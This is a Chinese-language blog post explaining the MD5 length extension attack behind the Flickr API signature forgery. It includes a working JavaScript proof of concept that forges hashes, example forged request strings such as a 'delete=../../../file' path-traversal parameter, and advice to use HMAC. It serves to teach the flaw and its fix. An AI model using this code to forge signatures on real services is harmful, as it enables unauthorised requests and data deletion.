来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] 背景 在2009年,Thai Duong 与Juliano Rizzo 不仅仅发布了ASP.NET的padding oracle攻击,同时还写了一篇关于Flickr API签名可伪造的paper,和padding oracle的paper放在一起。因为Flickr API签名的这个......
背景 在2009年,Thai Duong 与 Juliano Rizzo 不仅仅发布了ASP.NET的padding oracle攻击,同时还写了一篇关于Flickr API签名可伪造的paper,和padding oracle的paper放在一起。因为Flickr API签名的这个漏洞,也是需要用到padding的。 两年过去了,在安全圈子(国内国外)里大家的眼光似乎都只放到了padding oracle上,而有意无意的忽略了Flickr API签名这个问题。我前段时间看paper时,发现Flickr API签名这个漏洞,实际上用的是 MD5 Length Extension Attack,和padding oracle还是很不一样的。在研究了Thai Duong 的paper后,我发现作者根本就未曾公布MD5 Length Extension Attack 的具体实现方法,只是看到作者突然一下子变魔术一样丢出来了POC。
注意看红字标注的部分,POC中padding了很多0字节,但是中间又突兀的跑出来了几个非0字节,why?
我百思不得其解,试图还原这个攻击的过程,为此查阅了大量的资料,结果发现整个互联网上,除了一些理论外,根本就没有这个攻击的任何实现。于是一段时间的研究后,我决定写下这篇blog,来填补这一空白。以后哪位哥们的工作要是从本文中得到了启发,记得引用下本文。
什么是Length Extension Attack? 很多哈希算法都存在Length Extension攻击,这是因为这些哈希算法都使用了Merkle–Damgård construction进行数据的压缩,流行算法比如MD5、SHA-1等都受影响。
以MD5为例,首先算法将消息以512-bit(就是64字节)的长度分组。最后一组必然不足512-bit,这时候算法就会自动往最后一组中填充字节,这个过程被称为padding。
而Length Extension 是这样的: 当知道 MD5(secret) 时,在不知道secret的情况下,可以很轻易的推算出 MD5(secret||padding||m') 在这里m' 是任意数据, || 是连接符,可以为空。padding是 secret 最后的填充字节。md5的padding字节包含整个消息的长度,因此,为了能够准确的计算出padding的值,secret的长度也是我们需要知道的。
所以要实施Length Extension Attack,就需要找到MD5(secret)最后压缩的值,并算出其padding,然后加入到下一轮的MD5压缩算法中去,算出最终我们需要的值。 理解Length Extension Attack 为了深入理解Length Extension Attack,我们需要深入到MD5的实现中去。而最终的exploit,也需要通过patch MD5来实现。MD5的实现算法可以参考RFC1321。这个成熟的算法现在已经有了各个语言版本的实现,本身也较为简单。我从网上找了一个javascript版本,并以此为基础实现Length Extension Attack。 首先MD5算法会对消息进行分组,每组64字节,不足64字节的部分用padding补齐。padding的规则是,在最末一个字节之后补充0x80,其余的部分填充为0x00,padding最后的8字节用来表示需要哈希的消息长度。
比如输入的消息为:0.46229771920479834, 变为ascii码,且将每个字符分离为数组后:
因为数据总共才有19个字节,不足64字节,因此剩下部分需要经过padding。padding后数据变为了:
最后8字节用以表示数据长度,为 19*8 = 152
在对消息进行分组以及padding后,MD5算法开始依次对每组消息进行压缩,经过64轮数学变换。这个过程中,一开始会有定义好的初始化向量,为4个中间值,初始化向量不是随机生成的,是标准里定义死的,是的,你没看错,这是“硬编码”!:
然后经过64轮数学变换。 ...
.... 这是一个for循环,在进行完数学变换后,将改变临时中间值,将这个值进入下一轮for循环:
还记得前面那张MD5结构的图吗?这个FOR循环的过程,就是一次次的压缩过程了。上一次压缩的结果,将作为下一次压缩的输入。而Length Extension 的理论基础,就是将已知的压缩后的结果,直接拿过来作为新的压缩输入。在这个过程中,只需要上一次压缩后的结果,而不需要知道原来的消息内容是什么。
通过逆向MD5算法,不难实现这一点:
简单来说,就是先把MD5值拆分成4组,每组8字节,比如: 9d391442efea4be3666caf8549bd4fd3 分拆为: 9d391442 efea4be3 666caf85 49bd4fd3 然后将这几个string转化为整数,再根据一系列的数学变化,还原成FOR循环里面需要用到的 h3,h2,h1,h0
然后将这4个值,加入到MD5的压缩函数中去,并产生出新的值。此时我们就可以在后面附加任意数据了。我们看看这个过程: 比如secret为0.12204316770657897,它只需要经过一轮MD5压缩
我们从它的MD5值中可以直接还原出这4个中间值,同时我们希望附加消息“axis is smart!”,并计算新消息的MD5值:
通过还原出secret 压缩后的4个中间值后,可以直接进行第二轮附加了消息的压缩,从而在 run times 1 中产生了4个新的中间值,并以此生成新的MD5值。
为了验证结果是否正确,我们计算一下新的MD5(secret||padding||m')
可以看到md5值和刚才计算出来的结果是一致的。 这段代码为:
<script src="md5.js" ></script> <script src="md5_le.js" ></script>
<script> function print(str){ document.write(str); }
print("=== MD5 Length Extension Attack POC ===<br>=== by axis ===<br><br>");
// turn this to be true if want to see internal state. debug = false;
var x = String(Math.random()); var append_m = 'axis is smart!';
print("[+] secret is :"+x+"<br>"+"[+] length is :" + x.length+"<br>"); print("[+] message want to append is :"+append_m+"<br>");
print("[+] Start calculating secret's hash<br>"); var old = faultylabs.MD5(x); print("<br>[+] Calculate secret's md5 hash: <b>"+old+"</b><br>");
print("<br><br>================================<br>"); print("[+] Start calculating new hash<br>"); print("[+] theory: h(m||p||m1)<br>"); print("[+] that is: md5_compression_function('"+old+"', 'secret's length', '"+ append_m +"')"+"<br>");
var hash_guess = md5_length_extension(old, x.length, append_m); print("[+] padding(urlencode format) is: "+ escape(hash_guess['padding']) + "<br/>"); print("<br>[+] guessing new hash is: <b>"+hash_guess['hash']+"</b><br>");
print("<br><br>================================<br>"); print("[+] now verifying the new hash<br>"); var x1 = ''; x1 = x + hash_guess['padding'] + append_m;
print("[+] new message(urlencode format) is: <br>"+ escape(x1) +"<br><br>");
var v = faultylabs.MD5(x1); print("<br>[+] md5 of the new message is: <b>"+v+"</b><br/>"); </script>
关键代码md5_le.js 是我们patch MD5算法的实现,基于faultylabs的MD5实现而来,其源代码见附录。md5.js则是faultylabs的md5实现,在此仅用验证md5值所用。 如何利用Length Extension Attack呢?我们知道Length Extension使得我们可以附加任意值在原文之后,并计算出新的哈希。最常见的地方就是签名。 一个合理的签名,一般是需要salt或者key加上参数值,而salt或者key都是未知的,也就使得我们的原文是未知的。在Flickr API 签名的问题中,Flickr API同时还犯了一个错误,这个错误Amazon的AWS签名也犯过。就是签名校验算法中,参数连接时没有使用间隔符。所以本来如: ?a=1&b=2&c=3 的参数,在签名算法中连接时简单的变成了 a1b2c3 那么攻击者可以伪造参数为: ?a=1b2c3[....Padding....]&b=4&c=5 最终在签名算法中连接时: a1b2c3[....Padding....]b4c5 通过length extension可以生成一个新的合法的签名。这是第一种利用方法。
除此之外,因为我们可以附加新的参数,所以任意具有逻辑功能,但原文中未出现过的参数,都可以附加,比如: ?a=1&b=2&c=3&delete=../../../file&sig=sig_new 这是第二种攻击方式。 第三种攻击方式:还记得HPP否?
附带相同的参数可能在不同的环境下造成不同的结果,从而产生一些逻辑漏洞。在普通情况下,可以直接注入新参数,但如果服务端校验了签名,则需要通过length extension伪造一个新的签名才行。 ?a=1&b=2&c=3&a=4&sig=sig_new 最后,Length Extension需要知道的length,其实是可以考虑暴力破解的。 Length Extension还有什么利用方式?尽情发挥你的想象力吧。
How to Fix? 使用HMAC-SHA1之类的HMAC算法吧,目前HMAC还没有发现过什么安全漏洞。 另外针对Flickr API等将参数签名的应用来说,secret放置在 参数末尾也能防止这种攻击。 比如 MD5(m+secret),希望推导出 MD5(m+secret||padding||m'),结果由于自动附加secret在末尾的关系,会变成 MD5(m||padding||m'||secret),从而导致Length Extension run不起来。
附录 一些参考资料: http://rdist.root.org/2009/10/29/stop-using-unsafe-keyed-hashes-use-hmac/ http://en.wikipedia.org/wiki/SHA-1 http://utcc.utoronto.ca/~cks/space/blog/programming/HashLengthExtAttack http://netifera.com/research/flickr_api_signature_forgery.pdf http://en.wikipedia.org/wiki/Merkle–Damgård_construction http://www.mail-archive.com/cryptography@metzdowd.com/msg07172.html http://www.ietf.org/rfc/rfc1321.txt md5_le.js源代码:
md5_length_extension = function(m_md5, m_len, append_m){ var result = new Array();
if (m_md5.length != 32){ alert("input error!"); return false; } // 将md5值分拆成4组,每组8字节 var m = new Array(); for (i=0;i<m_md5.length;i+=8){ m.push(m_md5.slice(i,i+8)); } // 将md5的4组值还原成压缩函数需要的数值 var x; for(x in m){ m[x] = ltripzero(m[x]);
// convert string to int ; convert of to_zerofilled_hex() m[x] = parseInt(m[x], 16) >> 0;
// convert of int128le_to_hex var t=0; var ta=0; ta = m[x]; t = (ta & 0xFF); ta = ta >>> 8; t = t << 8; t = t | (ta & 0xFF); ta = ta >>> 8; t = t << 8; t = t | (ta & 0xFF); ta = ta >>> 8; t = t << 8; t = t | ta;
m[x] = t; }
// 此时只需要使用MD5压缩函数执行 append_m 以及 append_m的padding即可 // 此时m 的压缩值已经不再需要,可以用填充字节代替 var databytes = new Array();
// 初始化,只需要知道 m % 64 的长度即可,事实上可以随意填充,但我们其实还想知道padding // 如果消息长度大于64,需要构造之前的等长度的消息,用以后面计算正确的消息长度 if (m_len>64){ for (i=0;i<parseInt(m_len/64)*64;i++){ databytes.push('97'); // 填充任意字节 } }
for (i=0;i<(m_len%64);i++){ databytes.push('97'); // 填充任意字节 }
// 调用padding databytes = padding(databytes);
// 保存结果为padding,我们也需要这个结果 result['padding'] = ''; for (i=(parseInt(m_len/64)*64 + m_len%64);i<databytes.length;i++){ result['padding'] += String.fromCharCode(databytes[i]); }
// 将append_m 转化为数组添加 for (j=0;j<append_m.length;j++){ databytes.push(append_m.charCodeAt(j)); }
// 计算新的padding databytes = padding(databytes);
var h0 = m[0]; var h1 = m[1]; var h2 = m[2]; var h3 = m[3];
var a=0,b=0,c=0,d=0; // Digest message // i=n 开始,因为从 append_b 开始压缩 for (i = parseInt(m_len/64)+1; i < databytes.length / 64; i++) {
// initialize run a = h0 b = h1 c = h2 d = h3 var ptr = i * 64 // do 64 runs updateRun(fF(b, c, d), 0xd76aa478, bytes_to_int32(databytes, ptr), 7) updateRun(fF(b, c, d), 0xe8c7b756, bytes_to_int32(databytes, ptr + 4), 12) updateRun(fF(b, c, d), 0x242070db, bytes_to_int32(databytes, ptr + 8), 17) updateRun(fF(b, c, d), 0xc1bdceee, bytes_to_int32(databytes, ptr + 12), 22) updateRun(fF(b, c, d), 0xf57c0faf, bytes_to_int32(databytes, ptr + 16), 7) updateRun(fF(b, c, d), 0x4787c62a, bytes_to_int32(databytes, ptr + 20), 12) updateRun(fF(b, c, d), 0xa8304613, bytes_to_int32(databytes, ptr + 24), 17) updateRun(fF(b, c, d), 0xfd469501, bytes_to_int32(databytes, ptr + 28), 22) updateRun(fF(b, c, d), 0x698098d8, bytes_to_int32(databytes, ptr + 32), 7) updateRun(fF(b, c, d), 0x8b44f7af, bytes_to_int32(databytes, ptr + 36), 12) updateRun(fF(b, c, d), 0xffff5bb1, bytes_to_int32(databytes, ptr + 40), 17) updateRun(fF(b, c, d), 0x895cd7be, bytes_to_int32(databytes, ptr + 44), 22) updateRun(fF(b, c, d), 0x6b901122, bytes_to_int32(databytes, ptr + 48), 7) updateRun(fF(b, c, d), 0xfd987193, bytes_to_int32(databytes, ptr + 52), 12) updateRun(fF(b, c, d), 0xa679438e, bytes_to_int32(databytes, ptr + 56), 17) updateRun(fF(b, c, d), 0x49b40821, bytes_to_int32(databytes, ptr + 60), 22) updateRun(fG(b, c, d), 0xf61e2562, bytes_to_int32(databytes, ptr + 4), 5) updateRun(fG(b, c, d), 0xc040b340, bytes_to_int32(databytes, ptr + 24), 9) updateRun(fG(b, c, d), 0x265e5a51, bytes_to_int32(databytes, ptr + 44), 14) updateRun(fG(b, c, d), 0xe9b6c7aa, bytes_to_int32(databytes, ptr), 20) updateRun(fG(b, c, d), 0xd62f105d, bytes_to_int32(databytes, ptr + 20), 5) updateRun(fG(b, c, d), 0x2441453, bytes_to_int32(databytes, ptr + 40), 9) updateRun(fG(b, c, d), 0xd8a1e681, bytes_to_int32(databytes, ptr + 60), 14) updateRun(fG(b, c, d), 0xe7d3fbc8, bytes_to_int32(databytes, ptr + 16), 20) updateRun(fG(b, c, d), 0x21e1cde6, bytes_to_int32(databytes, ptr + 36), 5) updateRun(fG(b, c, d), 0xc33707d6, bytes_to_int32(databytes, ptr + 56), 9) updateRun(fG(b, c, d), 0xf4d50d87, bytes_to_int32(databytes, ptr + 12), 14) updateRun(fG(b, c, d), 0x455a14ed, bytes_to_int32(databytes, ptr + 32), 20) updateRun(fG(b, c, d), 0xa9e3e905, bytes_to_int32(databytes, ptr + 52), 5) updateRun(fG(b, c, d), 0xfcefa3f8, bytes_to_int32(databytes, ptr + 8), 9) updateRun(fG(b, c, d), 0x676f02d9, bytes_to_int32(databytes, ptr + 28), 14) updateRun(fG(b, c, d), 0x8d2a4c8a, bytes_to_int32(databytes, ptr + 48), 20) updateRun(fH(b, c, d), 0xfffa3942, bytes_to_int32(databytes, ptr + 20), 4) updateRun(fH(b, c, d), 0x8771f681, bytes_to_int32(databytes, ptr + 32), 11) updateRun(fH(b, c, d), 0x6d9d6122, bytes_to_int32(databytes, ptr + 44), 16) updateRun(fH(b, c, d), 0xfde5380c, bytes_to_int32(databytes, ptr + 56), 23) updateRun(fH(b, c, d), 0xa4beea44, bytes_to_int32(databytes, ptr + 4), 4) updateRun(fH(b, c, d), 0x4bdecfa9, bytes_to_int32(databytes, ptr + 16), 11) updateRun(fH(b, c, d), 0xf6bb4b60, bytes_to_int32(databytes, ptr + 28), 16) updateRun(fH(b, c, d), 0xbebfbc70, bytes_to_int32(databytes, ptr + 40), 23) updateRun(fH(b, c, d), 0x289b7ec6, bytes_to_int32(databytes, ptr + 52), 4) updateRun(fH(b, c, d), 0xeaa127fa, bytes_to_int32(databytes, ptr), 11) updateRun(fH(b, c, d), 0xd4ef3085, bytes_to_int32(databytes, ptr + 12), 16) updateRun(fH(b, c, d), 0x4881d05, bytes_to_int32(databytes, ptr + 24), 23) updateRun(fH(b, c, d), 0xd9d4d039, bytes_to_int32(databytes, ptr + 36), 4) updateRun(fH(b, c, d), 0xe6db99e5, bytes_to_int32(databytes, ptr + 48), 11) updateRun(fH(b, c, d), 0x1fa27cf8, bytes_to_int32(databytes, ptr + 60), 16) updateRun(fH(b, c, d), 0xc4ac5665, bytes_to_int32(databytes, ptr + 8), 23) updateRun(fI(b, c, d), 0xf4292244, bytes_to_int32(databytes, ptr), 6) updateRun(fI(b, c, d), 0x432aff97, bytes_to_int32(databytes, ptr + 28), 10) updateRun(fI(b, c, d), 0xab9423a7, bytes_to_int32(databytes, ptr + 56), 15) updateRun(fI(b, c, d), 0xfc93a039, bytes_to_int32(databytes, ptr + 20), 21) updateRun(fI(b, c, d), 0x655b59c3, bytes_to_int32(databytes, ptr + 48), 6) updateRun(fI(b, c, d), 0x8f0ccc92, bytes_to_int32(databytes, ptr + 12), 10) updateRun(fI(b, c, d), 0xffeff47d, bytes_to_int32(databytes, ptr + 40), 15) updateRun(fI(b, c, d), 0x85845dd1, bytes_to_int32(databytes, ptr + 4), 21) updateRun(fI(b, c, d), 0x6fa87e4f, bytes_to_int32(databytes, ptr + 32), 6) updateRun(fI(b, c, d), 0xfe2ce6e0, bytes_to_int32(databytes, ptr + 60), 10) updateRun(fI(b, c, d), 0xa3014314, bytes_to_int32(databytes, ptr + 24), 15) updateRun(fI(b, c, d), 0x4e0811a1, bytes_to_int32(databytes, ptr + 52), 21) updateRun(fI(b, c, d), 0xf7537e82, bytes_to_int32(databytes, ptr + 16), 6) updateRun(fI(b, c, d), 0xbd3af235, bytes_to_int32(databytes, ptr + 44), 10) updateRun(fI(b, c, d), 0x2ad7d2bb, bytes_to_int32(databytes, ptr + 8), 15) updateRun(fI(b, c, d), 0xeb86d391, bytes_to_int32(databytes, ptr + 36), 21) // update buffers h0 = _add(h0, a) h1 = _add(h1, b) h2 = _add(h2, c) h3 = _add(h3, d)
if (debug == true){ document.write("run times: "+i+"<br/>h3: "+h3+"<br/>h2: "+h2+"<br/>h1: "+h1+"<br/>h0: "+h0+"<br/>") } }
result['hash'] = int128le_to_hex(h3, h2, h1, h0); return result;
// 检测分组后开头是否有0,如果有则去掉 function ltripzero(str){ if (str.length != 8) { return false; }
if (str == "00000000"){ return str; }
var result = ''; if (str.indexOf('0') == 0 ) { var tmp = new Array(); tmp = str.split(''); for (i=0;i<8;i++){ if (tmp[i] != 0){ for(j=i;j<8;j++){ result = result + tmp[j]; } break; } } return result; }else{ return str; } }
// 往数组填充padding function padding(databytes){ if (databytes.constructor != Array) { return false; } // save original length var org_len = databytes.length // first append the "1" + 7x "0" databytes.push(0x80) //alert(databytes) // 添加第一个0x80, 然后填充0x00到56位
// determine required amount of padding var tail = databytes.length % 64
// no room for msg length? if (tail > 56) { // pad to next 512 bit block for (var i = 0; i < (64 - tail); i++) { databytes.push(0x0) } tail = databytes.length % 64 } for (i = 0; i < (56 - tail); i++) { databytes.push(0x0) }
// message length in bits mod 512 should now be 448 // append 64 bit, little-endian original msg length (in *bits*!) databytes = databytes.concat(int64_to_bytes(org_len * 8))
return databytes; }
// md5 压缩需要使用的函数 // function update partial state for each run function updateRun(nf, sin32, dw32, b32) { var temp = d d = c c = b //b = b + rol(a + (nf + (sin32 + dw32)), b32) b = _add(b, rol( _add(a, _add(nf, _add(sin32, dw32)) ), b32 ) ) a = temp }
function _add(n1, n2) { return 0x0FFFFFFFF & (n1 + n2) }
// convert the 4 32-bit buffers to a 128 bit hex string. (Little-endian is assumed) function int128le_to_hex(a, b, c, d) { var ra = "" var t = 0 var ta = 0 for (var i = 3; i >= 0; i--) { ta = arguments[i] t = (ta & 0xFF) ta = ta >>> 8 t = t << 8 t = t | (ta & 0xFF) ta = ta >>> 8 t = t << 8 t = t | (ta & 0xFF) ta = ta >>> 8 t = t << 8 t = t | ta ra = ra + to_zerofilled_hex(t) } return ra } // convert a 64 bit unsigned number to array of bytes. Little endian function int64_to_bytes(num) { var retval = [] for (var i = 0; i < 8; i++) { retval.push(num & 0xFF) num = num >>> 8 } return retval } // 32 bit left-rotation function rol(num, places) { return ((num << places) & 0xFFFFFFFF) | (num >>> (32 - places)) }
// The 4 MD5 functions function fF(b, c, d) { return (b & c) | (~b & d) } function fG(b, c, d) { return (d & b) | (~d & c) } function fH(b, c, d) { return b ^ c ^ d } function fI(b, c, d) { return c ^ (b | ~d) } // pick 4 bytes at specified offset. Little-endian is assumed function bytes_to_int32(arr, off) { return (arr[off + 3] << 24) | (arr[off + 2] << 16) | (arr[off + 1] << 8) | (arr[off]) } // convert number to (unsigned) 32 bit hex, zero filled string function to_zerofilled_hex(n) { var t1 = (n >>> 0).toString(16) return "00000000".substr(0, 8 - t1.length) + t1 }
}
作者:大风起兮云飞扬 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com